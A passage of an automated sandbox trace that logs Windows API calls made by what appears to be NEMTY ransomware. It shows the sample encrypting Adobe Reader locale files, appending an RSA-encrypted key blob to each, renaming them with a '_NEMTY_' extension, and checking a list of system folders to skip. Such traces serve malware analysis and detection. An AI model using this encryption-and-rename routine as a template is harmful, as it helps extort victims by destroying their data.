Flags=0x0, Size=0x40) returned 0x6345e38 [0178.087] GetLastError () returned 0x0 [0178.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.088] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.088] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.088] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.088] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="dABrO+T6sDaij3zWZWsc9r+CFZVFwXLS/KC69198pdXvr675WQeFxnfK/K9LH+7e\r\n7LcDUKjwufJM3Z2POJMYpJfDQBea6DkT+zRmJFCOW9Cp8N32ShCHCSkBM495ETX/\r\n6VZqQkvnF3SUaTc81y5PA64ashcu9E3vmrki6bpfo4LiGGXAp0I06BlM91iJbONK\r\ncEgCe/WGyn86jhyhxXvAYaacUyqFw48gno0ZnYZc3WqZ3VopfzUB0+0jj80zS9Gd\r\n+dbm+i79lWF3sagb1SDR0zFo882L2w0bAPw+hD0QohccHqNpQRCSl3MGWKKt1BWL\r\n6hr2KPsH59BEzHnMnmFEow==\r\n", pcchString=0x653e5dc) returned 1 [0178.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\pddom.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\pddom.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.088] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0178.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0178.088] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.089] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0178.091] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.091] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0178.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.091] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0178.091] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.091] CloseHandle (hObject=0x2e8) returned 1 [0178.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0178.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.092] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\pddom.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\pddom.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\pddom.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\pddom.hun._nemty_kgobjgd_")) returned 1 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.092] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLite.HUN", cAlternateFileName="")) returned 1 [0178.092] lstrcmpiW (lpString1="PPKLite.HUN", lpString2=".") returned 1 [0178.092] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="..") returned 1 [0178.092] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="...") returned 1 [0178.092] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="windows") returned -1 [0178.092] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.092] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="rsa") returned -1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="NTDETECT.COM") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="ntldr") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="MSDOS.SYS") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="IO.SYS") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="boot.ini") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="boot.ini") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="ntuser.dat") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="desktop.ini") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="CONFIG.SYS") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="RECYCLER") returned -1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="bootmgr") returned 1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="programdata") returned -1 [0178.093] lstrcmpiW (lpString1="PPKLite.HUN", lpString2="appdata") returned 1 [0178.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.HUN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.HUN", lpUsedDefaultChar=0x0) returned 11 [0178.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.094] Sleep (dwMilliseconds=0x5) [0178.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dcdf710, dwHighDateTime=0x1d561e8)) [0178.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dcdf710, dwHighDateTime=0x1d561e8)) [0178.103] GetLastError () returned 0x0 [0178.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.103] GetLastError () returned 0x0 [0178.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.103] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.103] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.103] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.103] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="XH/tzvWKXnNxoK5RwHW8HXglIbVmVC925z1ncjAf30QFskKd8H/5kJb/V/BGd9FD\r\ngahd5rlQtfWYZMubv3SvZSE7jM1tQaJP5YPw0AFF4elntAiPUqnHEnbUAXopYo8w\r\nlii7+JkJzs+THc2gIE+FJ9W7Izo9q3cEnmcOwm76aXTeLFlC1zBQPFgQnVh+Gx4M\r\nnd0rojXjhgKPO3XtGkKxQ1/K+WvPF/i17ItqhZzgxVtRq95piKyxGZ4WX4G9fEMc\r\nesA1W314FkhosasjprG95kONfQNXOO6bYjQUtzpY7zv7stEOIEPSt5vNENRGEJ7B\r\ninLuyJaHdh/xdEue7wsEZw==\r\n", pcchString=0x653e5dc) returned 1 [0178.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\PPKLite.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ppklite.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.104] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=532480) returned 1 [0178.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.104] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.104] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.113] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.113] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.113] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=532480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x82000 [0178.113] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.114] CloseHandle (hObject=0x2e8) returned 1 [0178.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.114] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\PPKLite.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ppklite.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\PPKLite.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ppklite.hun._nemty_kgobjgd_")) returned 1 [0178.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.115] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807c95c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x151a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.HUN", cAlternateFileName="")) returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2=".") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="..") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="...") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="windows") returned -1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="rsa") returned -1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="NTDETECT.COM") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="ntldr") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="MSDOS.SYS") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="IO.SYS") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="boot.ini") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="boot.ini") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="ntuser.dat") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="desktop.ini") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="CONFIG.SYS") returned 1 [0178.115] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="RECYCLER") returned -1 [0178.116] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.116] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="bootmgr") returned 1 [0178.116] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="programdata") returned 1 [0178.116] lstrcmpiW (lpString1="RdLang32.HUN", lpString2="appdata") returned 1 [0178.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HUN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 